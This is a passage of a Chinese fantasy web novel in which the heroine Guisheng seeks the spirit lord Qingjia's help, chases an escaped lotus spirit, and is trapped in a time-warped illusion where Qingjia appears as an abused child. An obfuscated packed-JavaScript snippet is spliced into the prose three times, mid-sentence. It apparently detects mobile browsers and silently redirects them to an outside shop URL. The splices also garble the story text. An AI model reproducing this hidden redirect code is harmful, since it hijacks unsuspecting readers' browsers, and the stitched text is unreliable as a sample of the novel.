归笙几乎无法形容那疤痕所展露的严重程度,只觉只有将一个人活生生打碎了,再一片一块地粘补缝合回来,才会留下那样仿若无数裂纹的伤势。 这位年纪不大的灵主……受过很严重的伤吗? 不待归笙多想,异变突生。 原本势头十足向上延伸的枝干,在来到煌星木主干半腰的位置时,毫无征兆地凝滞下来。 随即,那不计其数的新生枝条,竟似在一瞬间被抽干了生机,纷纷猝然萎落。 而造成此景的罪魁祸首,是煌星木的主干半腰处,一道拦腰劈出的断口。 那断口深长,只差那么一点,就会将整棵煌星木拦腰斩断。 它像一面不可逾越的结界横在半空,阻断了煌星木起死回生的道路。 可根据那位白鹤掌柜所说,煌星木不是被大火烧死的吗? 这断口又是怎么回事? 落木萧萧间,清伽缓缓收回了手。 煌星木颓败依旧,方才那一场死灰复燃的奇迹,短似错觉。 归笙默默观察清伽的表情。 单从表情来看,他似乎并不失望。 仿佛相同的结果已经重演太多次,他早就习以为常了。 这位灵主大概是出于职责,日常来救一下煌星木,至于能不能救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745420|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得活,顺其自然。 清伽将手背到身后,开始沿着树根闲庭信步,貌似打算换个位置再救一下。 莲座飘上去,跟在他后头时走时停,摇摇荡荡,晃得归笙头晕想吐。 直到某一刻,莲座忽然不动了。 像是被什么东西拽住了。 归笙诧异低头,随即鼠目瞠大。 那拽住莲座的,竟是几根被清伽唤起,且尚未死绝的树芽。 那树芽柔韧纤长,十来根灵活的手指般袭来,勾住了莲座的底部。 这还没完。 归笙眼睁睁目睹那树芽漫上来,不由分说地卷住了她的四肢。 然后,一个用力—— 归笙被五花大绑地扯下了莲座,“啪叽”一声拍在了树根上。 归笙:“???” 那树芽越缠越紧,热情至极,形如打定了主意要将她生生融入树皮,就此成为树根的一部分。 听到身后的动静,清伽回头望了一眼。 与快要被活活按扁在树根上的鼠片对视一瞬,他视若无睹地挪开视线,继续向前走去,步伐比之前还轻快了些。 归笙:这人任她自生自灭的意图演都不演了! 不一会儿,清伽的身影便消失在了前方的根系之后。 归笙又上气不接下气地忍了一阵,直到再听不见脚步声,确定清伽暂时走远了,才赶在自己被嵌进树根前化回了人形。 不费吹灰之力,纤小的树芽被她庞大的身体挣裂。 归笙看似潇洒实则狼狈地扑到地上,且扑到了一地凄惨零落的树芽残骸间,良心无法遏制地受到了一点鞭挞。 她默默合掌,对着满地的树芽尸首虔诚地拜了一下。 并小小声地念念有词:“要怪就怪你们家那尊见死不救的刁主吧,嗯。” 拜完念完,归笙拍拍双膝,站起身,忽闻身后响起窸窣的动静。 一扭头,就见她口中的那位“刁主”正倚在后方的树根上,揣手拢袖,好整以暇地朝这边张望。 也不知道望了多久。 归笙:“……” 见她发现了自己,“刁主”对她笑了一下:“你好。” 归笙:“……” 清伽歪头:“嗯?是我声音太小了吗?我说:你好。” 归笙嘴角抽了抽。 旋即她绽开满脸热烈的笑容,高声道:“灵主你也好!” 又迅速双手举过头顶伏低做小,哀哀戚戚地自陈罪状:“灵主在上,鄙人三日前破坏祈灵祭典是为奸人所害,对灵主流鼻血大不敬是体质太差,方才乔扮地鼠尾随灵主是拼尽全力无法战胜妙慧灵祖的高深法术……” 清伽温柔地接了句:“那方才称呼我‘刁主’是因为什么?” 归笙卡了一下,不过这也根本难不倒她:“是谨记并拥护灵主对自己‘穷山恶水出刁主’的评价。” 清伽“唔”了一声,意味不明,归笙却不再给他开口刁难的机会,紧接着道:“总之天地可鉴日月可表,我此行并无恶意,只是想当面询问灵主一件事情……” 清伽笑道:“那你问吧。” 这下归笙是真卡住了。 就,这么随意? 她还以为要挖眼剖腹,用什么心尖一滴血、肋间一根骨,换灵主尊口一开呢。 不知清伽是有读心术还是她的腹诽太浅显,他眉峰轻抬,道:“莲华殿素来以慈悲为怀,且把你脑子里血腥的想法收一收。” 他都这么说了,那她还客气什么。 归笙直截了当地道:“鄙人听闻莲华殿有一术法,可以穿渡时空,在镜中见到在世之人,不知可确有其事?” 她话音才落,清伽便道:“是有。” 归笙心头一跳,当即追问:“灵主可知如何通过此术追寻到镜中之人?” 12. 镜显术(下) 然而这一回,清伽没有立刻给出答复。 他转而问道:“你所见到的镜中之人,状态如何?” 归笙静了静。 半晌,她道:“状态很不好。” “她被困在一间暗室里,整个人被锁链吊在一面墙上,四肢折断,遍体鳞伤。” 停顿了一下,归笙接着道:“但她的意识是清醒的。” “当时她似乎感受到了这个术法的波动,在镜中抬起了头,就像能看到镜面另一端的我一样,唤了一声我的名字。” 清伽的目光掠过她因捏紧拳头而泛白的指节,又回到她强作镇定的面容上。 须臾,他轻声道:“依你所说,镜中人伤成那样,想来已面目全非,你如何确定她就是你想找的人?而不是什么刻意伪造的陷阱?” 归笙断然答:“我曾与她朝夕相处、形影不离,即便她的相貌、声音都已被伤势所毁,我也能确定那就是她本尊。” 她直视清伽的眼睛,无比笃定地道:“她是我在这世上最重要的人,我绝不会认错。” 清伽沉默。 良久,他淡声道:“一个好消息,一个坏消息,你想先听哪一个?” 归笙毫不迟疑:“好消息!” 清伽道:“好消息是,你所说的这个人,她还活着。” “你所见到的术法,应当是莲华境的‘镜显术’。” “此术的使用条件非常苛刻,其中就有一条,便是被关在镜中的人必得活着,且不能是半死不活的那种活法,肉身可以有所毁损,但必须命脉平稳,元魂无恙。” 归笙霎时眼眶滚热。 魂灯灭了三年,她从最初的不可置信,执意等待,到后来的心灰意冷,习惯了只有她和师兄相依为命,枯守着一座冷寂的栖雪峰。 直到半月前,在铜镜中看到那日思夜想的人后,她当即决定孤身下山。 她走得利索,全无犹豫,但到底是心中没底,生怕只是自己思念成疾而出现的幻觉,因而一路上提心吊胆,惴惴不安。 但清伽的话告诉了她,她的希望没有落空。 师母真的还活着! 清伽没有出声,静默地等着眼前这个啪嗒掉泪的姑娘将眼泪收好。 片刻后,归笙抹了把肿得跟她家核桃差不多大的眼睛,哑声问道:“那……坏消息是什么呢?” 她已经得到了最想要的答案,即便这一句是问坏消息,也问得底气十足。 只要师母还活着,无论是怎样的坏消息,她都无所畏惧。 清伽清了下嗓子,道:“坏消息是,西漠经常丢东西。” 归笙:“……嗯?” 清伽眼底浮上来些笑意,娓娓地道:“所以,这镜显之术,在西漠境内已失传了数百年,你遇到的情况,大概是其他域境的贼人从莲华殿偷学过去的……你想找人的话,可能要多费些工夫了。” 归笙:一时不知道是该吐槽莲华殿这也能丢还是该吐槽清伽这副讲笑话的表情。 正无言间,乾坤倏然巨震,漫天虫藓被震得簌簌下落。 并不见有来者闯入此地,却有无数道声音,自四面八方,铺天盖地地涌来: “灵主,莲心失窃!” 清伽顿时笑出了声,对归笙道:“你看,我说的吧。” 归笙:“……” 不是,听到莲华殿又丢了东西,还是他们供奉数年、今夜就要使用的莲心,这人的第一反应居然是乐了…… 归笙深沉地想:此人当真是莲华殿的灵主吗?真的不是某个和莲华殿有仇的家伙冒名顶替的吗? 清伽幸灾乐祸够了,微一抬手。 地上先前被挣裂的树芽蓦地连缀成枝,在归笙反应过来前,迅速将她的双手反剪到了身后。 这是一个押送犯人的姿势。 归笙愕然:清伽这是怀疑她是盗取莲心的窃贼? 她忙道:“等等等等!先别铐我!我有自证清白的法子!” 清伽和颜悦色:“又没堵住你的嘴,先铐住再说也不迟。” 好有道理。 归笙只好姿势别扭地祭出二爻,命它寻找失窃的莲心。 二爻在空中左吸右吸,没吸到多少灵髓,只得无精打采地飞了出去。 归笙连声催促:“快快快,快跟着它走!” 清伽:“不急。” 话音才落,天地乾坤化作一面碎裂的镜子,碎镜迸溅,落星如雨。 转眼之间,大漠中的煌星木消失,二人又回到了莲华殿的长廊内。 向着二爻蹿出的方向,清伽步伐闲散,不紧不迫。 却每走一步,与核桃的距离都在急剧拉近。 归笙看了一会儿,看明白了。 他竟是用莲华境的术法,放缓了核桃周围的光阴流速。 归笙起了一身的鸡皮疙瘩。 虽然早知莲华境可以驱策时空,但亲眼所见,才知这是一种何等恐怖的能力。 她忍不住联想:莲华境对物如此,对人呢? 若是某人招惹了清伽,他是否也可以拨快那人身周的时间轮盘,令之迅速衰老腐朽,几息之间便从年富力强变为鹤发鸡皮,甚至化为一垒森森白骨? 归笙打了个哆嗦,谨小慎微地夹起尾巴,小碎步地跟了上去。 不多时,核桃领着二人,来到一处拐角。 归笙觉得这拐角有点眼熟,仔细一看,当即恍然:这不正是她先前伪装地鼠甩出莲子的拐角吗? 二爻在拐角处左转转,右晃晃,有些茫然的样子。 忽然,它扭过身,“啪叽”一下,扑到归笙的脑门上,不动了。 清伽驻足,转眼看向归笙。 归笙:“……不是,灵主您听我说,这不是它觉得我就是那个贼的意思,意思是它实在无能为力了,毕竟你们西漠的灵髓实在是有点……哈哈,总之它找不动了,不过莲心应该是在这里出现过没错……等等?” 归笙猛地反应过来:“那个被我甩出去的莲子……莫非就是……?” 清伽莞尔:“如果你没有说谎,那大概就是了。” 归笙一头雾水:“……我还是不大明白,莲心不是供奉在塔顶的净世台上么?怎么会变成灵祖术法里的莲子?” 清伽奇怪地瞧她:“你都来西漠好几日了,难道不觉得无论什么东西在这里原地成精,都是一件不值得稀奇的事情吗?莲心当然也一样。” 归笙愁眉苦脸:“我来西漠四天,三天都蹲在牢里听清心咒,灵主觉得我有机会见过多少风土人情吗?算了不提了,一想起来就头大。” 清伽:“清心咒不好听吗?” 归笙一愣,因他这格外突兀的一句询问。 清伽似笑非笑地,又问了一遍:“清心咒可是我们初代灵主所作的咒术,你觉得不好听吗?” 原来是他前辈的传世之作。 但问她做什么?她的意见很重要吗? 归笙莫名其妙,只能硬着头皮道:“……好听,太好听了!初代灵主一定是个清心寡欲至极的圣人,所以才能写出那么高尚纯洁的咒术!” 清伽听着她的溜须拍马,笑意浅浅,不置可否。 只是那眼底冷淡的讥诮,完全不屑掩藏。 归笙被他看得发毛,这才想起西漠的没落,正是从这位初代灵主开始的。 因为他没能救下煌星木的错误。 不能再进行这个有关初代灵主的死亡话题了,归笙赶忙言归正传:“所以灵主你的意思是,这个莲心成精……更正规点的说法应该是灵怪化形了,所以逃下了净世台,伪装成灵祖的水晶莲子,为的就是趁机逃跑吗?” 清伽慢慢道:“嗯,可能细节有些出入,但大概就是这么回事吧。” 归笙想起白鹤掌柜所说的,莲心是莲华殿人为创造的灵源,本来是用于今夜在涅火台上焚烧,从而散播灵髓,遏制西漠修士反噬加剧的。 归笙:“莲心化形了……还能用吗?” 清伽:“先不说能不能用,它化形后第一件事就是跑,你觉得它想给我们用吗?” 归笙:“……明白了。” 任谁知道自己马上就要被活活烧死了,第一反应都是跑路吧。 清伽抬起手,在归笙的额前轻轻一拂。 干瘪成一滩的核桃壳登时威武堂堂地立了起来。 清伽:“能不能用,总得找到再说。” 他放下手:“借了它点髓华,继续找吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745421|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 核桃重整旗鼓,兵贵神速地领着二人一路上行,直冲莲华殿的塔顶。 归笙纳闷:这莲心逃着逃着,怎么还逃回原处了呢? 但当看到塔周的情况后,归笙悟了:原来是被追得无路可逃了。 他二人来得慢了一步,塔顶四周已被数百灵侍严阵包围。 净世台上,化形的莲心是一副亭亭的少女模样,四肢皆为柔软舒展的莲瓣,随风轻曳,翩然灵动。 她静静立着,不知在想什么。 而与她这份安静截然相反的,是她身周疯狂暴涨的髓华,正与一众灵侍诵咒结成的追捕阵法激烈交锋。 莲心无所顾忌,招招狠辣,灵侍却顾忌着她的用途,出手有所保留,丝毫不敢伤到她,所以后者虽人多势众,但一时之间,两方也是相持不下。 “莲心。” 听得这一声轻唤,莲心恍惚低头。 见到在檐角落定的清伽,她淡漠的面容顷刻染上怒色。 莲心张口便骂:“你……卑、鄙……无、无、无……” 清伽好心接话:“耻。” 莲心:“……” 挨了骂,清伽神色不变,甚至觉得莲心能开口骂人这件事非常的新奇有趣一般,只是笑眯眯地看着她。 “乖乖下来吧,当众被打回原形,可能会有点难看。” 他柔声相劝,像在哄一个不懂事的孩子。 “莲华殿供养你数十年,不是为了让你在关键时候掉链子的。” 莲心望着他,怒容中又掺进了怨毒。 她咬牙切齿地道:“这话……你也,好意思……拿来,训我?” 清伽微微一顿。 莲心:“都……是你的错!如果不是你……” 她语无伦次地说着,渐渐狂躁起来,竟完全不顾那些灵侍还在逮捕她,转手便将所有的攻击丢向清伽。 清伽叹了口气:“非要我动手吗?会很痛的啊。” 说完,他便将指尖搭上腕间咒珠。 原本绑上归笙腕上的枝条蓦地电掣而出,于空中膨大扭曲,勾缠编织,化作一顶枝节庞杂的樊笼,对准莲心当头罩下,轻而易举地将她的百般攻势镇为飞灰。 细密的树刺毫不留情地穿透莲心的身体,后者顿时被压趴在笼底,血如泉涌,发出一阵撕心裂肺的痛叫。 归笙:谢谢,原来这树枝认真抓起人来是这种鬼样子。 还真是要感谢清伽对她手下留情了。 但是。 归笙扯了扯这头仍把她手腕绑得死紧的枝条。 这把她俩一起打包抓住的画面是怎么回事? 清伽还是觉得她和莲心是合伙作案么?! 归笙骂骂咧咧,怒目瞪向清伽,又猛地注意到什么,脱口而出:“灵主小心!” 却已经迟了。 一道白光闪过,清伽身形一滞。 那副自见面以来便游刃有余到有些欠揍的神态被打破,他脸色微白,捂住心口,掌下有鲜红的血花洇出。 归笙震惊:下手这么狠,是那个在祈灵祭典上偷袭她的混账吗? 不对,不像。 受到敌袭,清伽不躲不闪,只眉心紧锁,定定地看往一个方向。 那神情诡异至极,比起紧张严肃,更多的是不解。 他这反应,怎么看怎么像遭到了相识之人的暗算。 就在这时,笼中的莲心骤然暴起。 满身莲瓣分解飞散,又聚作一气,狂风骤雨般袭来,瞬间吞没了归笙与清伽。 惨遭殃及的归笙:“……” 灵魂出窍一般,视野中荡起一轮涡旋,所见的一切逐渐扭曲、模糊、退远。 失去意识的前一刻,归笙仰天长叹。 清伽觉得她和莲心是一伙的,莲心觉得她和清伽是一伙的。 你们莲华殿的家伙真团结。 …… 归笙再次睁眼时,一根树枝四仰八叉地横躺在她的脸上。 透过树枝的缝隙,日头白得晃眼。 已经是早上了? 归笙懵懵懂懂地,伸手将树枝拿下来。 树枝却在她手里发出一声欣喜若狂的尖叫:“老大!你醒啦!” 13. 莲华境(上) 归笙一把将树枝丢了出去。 她迅速翻身坐起,先是看了看自己的手,又看了看掉在地上嗷嗷痛嚎的树枝,惊疑不定。 她的手,形状还是人手没错,但皮肤却变得和地上的树枝一样,不仅透出一股疑似中毒的青棕色,还爬满了树皮般崎岖的纹路,指缝间还零星挂着几痕青苔。 再捋起袖口、卷起裤腿看了看,归笙的心彻底沉入谷底。 果不其然,她整个身体都木头化了。 是莲心那道术法的作用吗? 归笙急忙去探自己的元魂,看到天工海中安然无恙的九窍核桃后,顿时松了口气。 九窍核桃虽有实体,但本质是与她元魂相连的本命法宝,平常不用时,或是不需要实体出来凹造型时,便会安静呆在她的元魂中养精蓄锐。 所以,即便她肉身出了点毛病,只要元魂不散,就能够使用九窍核桃。 核桃傍身,归笙就无所畏惧了。 她抓起那根树枝灵怪,礼貌地道:“请问这是哪里?我在这里昏迷多久了?是一道术法把我从主城嘣过来的吗?” 树枝惊恐地道:“老大你怎生的如此客气?这里是西漠哀煌山一百丈西南角二十八号,是咱们前不久刚从老柏那打下来的地盘啊!以及老大你何时昏迷了?你不过只是小憩了一下啊?还有老大你好端端地提主城作甚,你不是三百年前就说那里一帮虚伪的人族待灵怪不好,至死不再回去的吗?” 归笙:“……” 对方的每个字她都听得懂,但这些字连在一起后,这串句子就变得有些神秘。 归笙隆重地反应了一会儿。 然后她就谦逊地道:“那个,咱们能不能换用人族的语言交流?我孤陋寡闻,听不太懂树枝讲话。” 树枝泪眼汪汪:“老大你是咱们的树怪头子啊,你怎么可能听不懂我讲话?我刚化形时还是你教我的发音呢!难道是最近反噬太过,我这舌头又退化了?你等下啊我这就把它捋顺……略略略……” 归笙:“……” 接下来的半个时辰里,归笙盘腿坐在原地,一根手指卡在鼻梁的一侧,思考着人生的奥秘。 首先,这地方还是西漠没错。 其次,她元魂也还是她自己的没错。 唯一错的,是她的身份,从一个来西漠问话的过客,变成了西漠山头的一个树怪头子。 最直接的可能,就是莲心的那道术法,将她的元魂从原来的肉身里拔了出来,丢到了一个树怪的壳子里。 但这只是猜想。 无论如何,当务之急是得找回她自己的肉身。 就算找不回肉身,那件她师兄缝缝补补的衣裳总要拿回来! 归笙当即摘下头顶上那副疑似象征地位的树冠,郑重地给树枝戴上。 她道:“我将衣钵传递给你了,以后你就是这西漠哀煌山一百丈西南角二十八号的新一任老大,你和一众小弟从此忘了我吧。” 在树怪们的声声送别里,归笙挥一挥衣袖,一溜烟窜下了山。 路过一条小溪时,归笙惊鸿一瞥,望见了水面上自己的倒影。 她登时脚底一个打滑,摔了个四脚朝天。 归笙灰头土脸地爬起来,强忍自戳双目的冲动,对着溪水扒拉干净满脸的树皮苔藓,可算从一个野人伪装成一个稍微有点狂野的人了。 确认自己的外形不会引起他人的恐慌后,归笙继续马不停蹄地下山。 下山途中,她隐隐发觉有些异常。 怎么感觉,空气中的灵髓比先前要充裕了许多? 这些日子,西漠的灵髓无时无刻不给她一种随时都会耗尽的危机感,但此时此刻,周围的灵髓虽依旧贫瘠,但至少没那么岌岌可危了。 莫非是因为地域不同吗?西漠山上的灵髓要比主城要浓郁些? 想不出个头绪,归笙索性也不想了,专心赶路。 走着走着,归笙累了。 开疾行吧。 归笙在元魂里踢了下一爻,一爻却罕见地没搭理她,兀自懒懒趴着。 归笙正大怒这核桃要造反,又反应过来:等一下? 她当下这具肉身,是一个化形树怪的,那么…… 归笙立刻去探了下髓脉,精神为之一振:这具灵怪的壳子有髓华! 髓华不多不少,修为平平无奇,放到天霄派弟子里处于中下水平。 但这还是归笙头一回驾驭有修为的身体,不禁新奇万分,当场放出树怪的招式令路边野草生根发芽了一通,过了把做正常修士的瘾。 不过新奇劲过了,归笙还是觉得师母给她做的核桃最好用。 归笙收起髓华,正要一脚把一爻踢出来干活,远处忽而传来几声呦呦鹿鸣。 归笙循声抬头,只见一只高大优雅的棕鹿踢踢踏踏地走过来,修长美丽的脖颈上挂着一块迎风晃荡的招牌:“西漠境内,畅通直达,价格面议,实惠放心。” 归笙:“……” 鹿怪:“客官要去哪里?” 归笙:“……莲华殿,谢谢。” 鹿怪报价:“三点髓华,一炷香内,必达莲华殿前。” 归笙从来没觉得自己这么阔绰过,一手爽快地拍出髓华,翻身骑上鹿怪的脊背:“成交!” 鹿怪果真没有吹嘘。 风驰电掣的一炷香后,被风吹得乱七八糟的归笙来到了莲华殿前。 殿外人影寥寥,只一个值守的小灵侍,正将一块牌匾放到门口的莲像旁边。 这小灵侍如此平静,想来莲心的事情已经解决了? 归笙心中稍定,三两步抢到那小灵侍跟前,余光无意扫过那块牌匾,什么什么“新进灵侍遴选,未时可来此记名”。 归笙没在意,对小灵侍拜了一拜,开门见山地道:“敢问灵主现下如何了?被他铐住的那个女修还活着吗?肢体可还完好?衣裳有无破损?” “……灵主?女修?” 小灵侍诧然抬头,眉头紧锁,疑惑而肯定地道:“莲华殿尚未择定下任灵主,也不知姑娘你说的女修是谁。” 他一指牌匾:“莲华殿要等这一批新进的灵侍择选完毕,再考虑灵主的选拔。” 归笙:“?” 她头皮一炸,连忙补充了句:“就是那个叫‘清伽’的啊?” 小灵侍更加诧异:“莲华殿并无这一号人。” 归笙:“???” 沉默,良久。 归笙举手道:“那个,请问一下,如今距离祈灵祭典,还有多久?” 小灵侍看她的眼神几乎像在看居心叵测的狂徒了:“暂未听说莲华殿有举办祈灵祭典的安排。” 归笙:“……” 归笙浑浑噩噩地走回街上,手里端着小灵侍看她精神恍惚而给她盛的一碗饭。 有路过的好心人见她失魂落魄地端着个碗,疑似沿街乞讨,于是抛了枚铜板过来。 “叮”的一声,铜板磕到了碗沿,也把归笙的思绪磕顺了。 她想,她大概知道如今是个什么状况了。 她陷入莲华境了。 莲心是灵侍日夜诵咒养成的灵源,莲华境相当于她生来便会的术法。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745422|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而她想要逃跑,对付清伽就一定会用术法体系内最高阶的内容,也即与时空相关的招数。 恐怕当下所见,除了她的元魂是真实的,其他皆是莲华境构筑的时空之景。 只是不知究竟是虚构幻象,还是真切的时空倒流了。 想到后一种可能性,归笙心中发凉。 她咬了下舌头,勉强镇定下来。 什么都不知道的时候,没必要自己吓自己。 不管怎样,这莲华境中的时间应当比现实里要早一些年。 这样就能够解释相对丰沛的灵髓,以及莲华殿尚无对祈灵祭典的布置。 但仍有一个无法忽略的重点,那就是—— 和她一起被卷进来的清伽人呢? 难道境中时空直接拨回到他进入莲华殿前了,所以莲华殿才没有他这么一号人? 当然,这是比较保守的想法。 彼时塔顶对峙,归笙虽听不太懂莲心的指责,但能听出她恨毒了清伽。 所以归笙还有个激进的怀疑:莲心该不会直接把清伽给弄死了吧? 可思及清伽的寥寥两次出手,归笙又觉得他应该不至于这么弱……吧。 归笙吐了口气,拾起米饭上的那枚铜板,把它揣进了兜里。 罢了,先试着找到清伽再说。 他是西漠的灵主,是这一代灵侍中莲华境造诣最高者,若他没死,一定知晓该如何破境。 然而想是这么想,西漠大得要命,找起某个人来无异于大海捞针。 漫无目的地转悠了许久,归笙无意识转进了一处炊烟袅袅的小巷。 巷中四溢的饭香勾起了归笙的食欲,她瞬间就走不动道了。 事已至此,先吃饭吧。 归笙随便拣了处台阶坐下,开始埋头扒碗里的饭。 没扒两口,不远处传来一阵喧嚣的动静。 归笙没抬头:莲华殿的米饭好香好香。 那动静愈演愈烈,巷中不少人家探头探脑地走出门来,杂沓的脚步向喧闹的方向汇拢。 归笙还是没抬头:莲华殿的米饭真的好香好香。 忽然,一个女声凄厉地道:“不要带走我们的孩儿!” 归笙端着饭碗挤进围观群众,朝风波中心翘首张望。 只见一对男女倒在地上,双双打滚蹬腿,哭得上气不接下气。 旁边三五个人则冷眼旁观,不时对地上的男女指指点点。 而夹在两方之间的,是一道瘦小的身影。 “啪嗒。” 饭碗掉在地上,米饭洒了一地。 没管旁边人“浪费粮食”的痛斥,归笙瞪着那小身影,只觉晴天霹雳,五雷轰顶。 那张脸! 虽然那身影此刻头发蓬乱、衣衫褴褛、满身灰泥,几乎像个刚捏出来的陶土小人,但那张脸她不会认错,正是清伽! 只是此清伽非彼清伽,眼前的清伽显然比她先前见到的要年幼许多。 归笙眼皮狂跳,一时不知道该庆幸莲心没直接把他弄死,还是该头疼清伽比被换了壳子的她还惨,竟是被拖到了莲华境的时空轴上倒拨了岁数。 归笙还心存一点点渺茫的希望:万一这个清伽跟她一样,是有记忆的,只是肉身缩小了一圈呢? 然后她就看到,两方人马将小清伽推推搡搡、拉拉扯扯,导致他本就灰扑扑的小身板更加脏污不堪。 而他始终动也不动,默然承受。 归笙心如死灰。 之前被滴了滴鼻血都接受不了的人,这样子一定是失忆了吧。 14. 莲华境(下) 归笙这边心如槁木,那边站着的几人嚷嚷道:“你夫妇二人三天两头虐打自家孩子,整条巷子无人不知无人不晓,这会儿装什么骨肉情深,何况这孩子本就是你们捡来的!我等若再不插手,这孩子迟早有天被你们活活打死!” 倒地的夫妇痛骂道:“你们装什么好人!别以为我们不知道你们要带他走揣的是什么心思!” 又混乱地哄闹撕扯了一阵,那三五个站着的人不耐烦了,突然放开了抓着清伽的手,也踢开了地上拖着清伽的男女,道:“既然你们油盐不进,那就让这孩子自己选,到底要跟谁走!” “……” 哭声震天里,杂七杂八的视线中,清伽慢慢地挪动了脚步。 却没有朝对峙的两方中的任何一方走去。 而是径直走向了归笙……撒在地上的那一碗饭。 清伽蹲下身,张开手指,旁若无人地开始从地上抓饭吃。 夫妇:“……” 三五人:“……” 看热闹的街坊邻居:“……” 一片静默里,只有归笙后知后觉饭撒了的痛心:她的饭! 她强忍护食的冲动,低下头,打量蹲在自己膝前吃得很香的人。 那蓬杂的发间长满了虱子,头皮也缺了几块,依稀可见未愈的血痂。 据此可知,那三五人口中的“虐打”不是胡说八道。 但是…… 归笙余光掠过那站着的几人腰间的玉牌。 那东西她认得,是西漠一家酒楼发给伙计的工牌。 至于她为何会认得,还要感谢那位带着她飞出客栈房顶的白鹤掌柜。 当时高处视野极佳,她一眼就看到那座过分华丽的酒楼,以及通过酒楼的窗子,看到楼中来往忙碌的伙计,个个腰间都挂着这种玉牌。 她二人聊完,即将飞回客栈前,白鹤掌柜冷不丁道:“那酒楼姑娘看看就好,最好别进去,里头有些不大光彩的生意,已在西漠有几百年的历史了。” “虽然曾被莲华殿整顿过,没有几百年前那么肆无忌惮,但到底盘根错节,不好根除……把好皮相的人拐进去卖笑卖艺,还是时有发生的。” 所以,这几个人想把清伽带走,目的可能不是路见不平这么简单。 归笙眸光轻闪,有了决定。 地上,清伽正旁若无人地抓饭吃,忽觉腰间一紧。 随即,他整个人被提了起来。 “哎呀你们别争了,这孩子吃了我的饭,那就是我的人了,幸会幸会!告辞告辞!” 话音未落,不给众人反应的时间,归笙便以迅雷不及掩耳之势把清伽往腋下一夹,拔腿狂奔。 直至奔到主城外围,一爻即将燃尽之际,归笙方才气喘吁吁地停下。 扭头见无人追来,归笙舒了一口长气。 她找了处阴凉地,将拐来的人从手臂底下端出来,却险些没端稳。 太轻了。 还好西漠今天没刮风,不然她怕是得去天上找人了。 归笙将人扶稳站好,蹲下身与他平视,指了指自己道:“灵主,你记得我是谁吗?” 对面的小孩没反应。 归笙接着道:“灵主,你还记得你跟我说过的镜显术吗?” 清伽仍旧一言不发,盯着她的嘴唇,眉心微蹙。 归笙终于察觉不对,伸手捏住他的下巴,把他的脸掰侧过去一点。 果然。 归笙倒吸了一口凉气。 这耳朵里堆的血块都漫出来了。 结合他颧骨上的青紫红肿,大概是被巴掌扇成这样的。 “……” 虽然几次接触下来,这位灵主那隐约有几分阴阳怪气的态度让归笙略感拳头梆硬,但总体来说,她并不讨厌他。 毕竟,清伽无偿回答了她的问题,让她不虚此行,知道了师母还活着,这完全能抵消她之前的所有不满。 所以,看着眼前这可怜兮兮的一幕,尤其此刻他还顶着更加稚嫩的一张脸,归笙的心不由揪了一下。 她用两手覆住清伽的耳朵,调动髓华,施了道清洁术。 清理干净他耳朵里的血块,归笙试探着问:“你多大了?” 清伽仍是没有反应,只是眼珠动了动。 归笙:“你是不是听不到?” 她刻意放慢了口型,一字一顿,吐字清晰。 清伽终于缓慢地,点了下头。 归笙:“……” 看来他这双耳朵,已经被活生生打废了。 归笙沉吟片刻,再次夹起清伽,原路折返。 失聪,失忆,年纪还小了许多岁,指望他立刻破境是不可能了。 先试试能不能将清伽的身份拨回正轨吧。 走在路上,归笙也把自己化成了个孩童的相貌。 来到莲华殿前,一名中年灵侍手持名册,身前排出了一条长队。 归笙暗中观察了会儿,发现莲华殿来者不拒,只需简单筛查身份,核验资质,便可记名为灵侍,若资质不适合修炼,也有其他的职务可选。 归笙:……这也太随便了吧? 这样就算有人居心叵测,也能轻而易举地混进去。 难怪清伽说莲华殿经常丢东西呢。 不过这种随便目前给她行了方便,归笙也就不多吐槽了。 她拖着清伽排到队末,半个时辰后,便到了那名灵侍跟前。 灵侍垂眸,平和的眸光掠过二人。 刹那间,有无形的咒术裹住二人,如浸身月光之海,每一寸气息都被探明。 灵侍:“树木灵怪?” 归笙点点头,又担心:“灵侍只收人族?” 灵侍微笑:“没有这个规定,灵怪向来是莲华殿的朋友。” 然后,他将目光停顿在了清伽身上,欲言又止。 归笙心里咯噔一声,就听他道:“这位小友……双耳失聪,沉疴未愈,心智封闭,元魂残缺,不大……” 归笙立即上前一步,拍拍胸脯,昂首一笑:“这不是还有我嘛!我是他的同伴,我会帮助他的,保证没有问题!” 灵侍:“手语使一个我看看。” 归笙:“……” 别说,因为自家师父的缘故,她还真学过。 只不过学得实在太烂,甚至影响到了她正常的说话方式,被师母以“不要再玷污手语这门伟大的学问了,你师父识字你跟他书面交流就好了”而紧急叫停。 归笙绞尽脑汁试图回想几个简单的字句蒙混过去,灵侍却已含笑在名册上记下了二人的名字。 “莲华殿不乏精通手语的灵侍,届时你可向他们请教。” 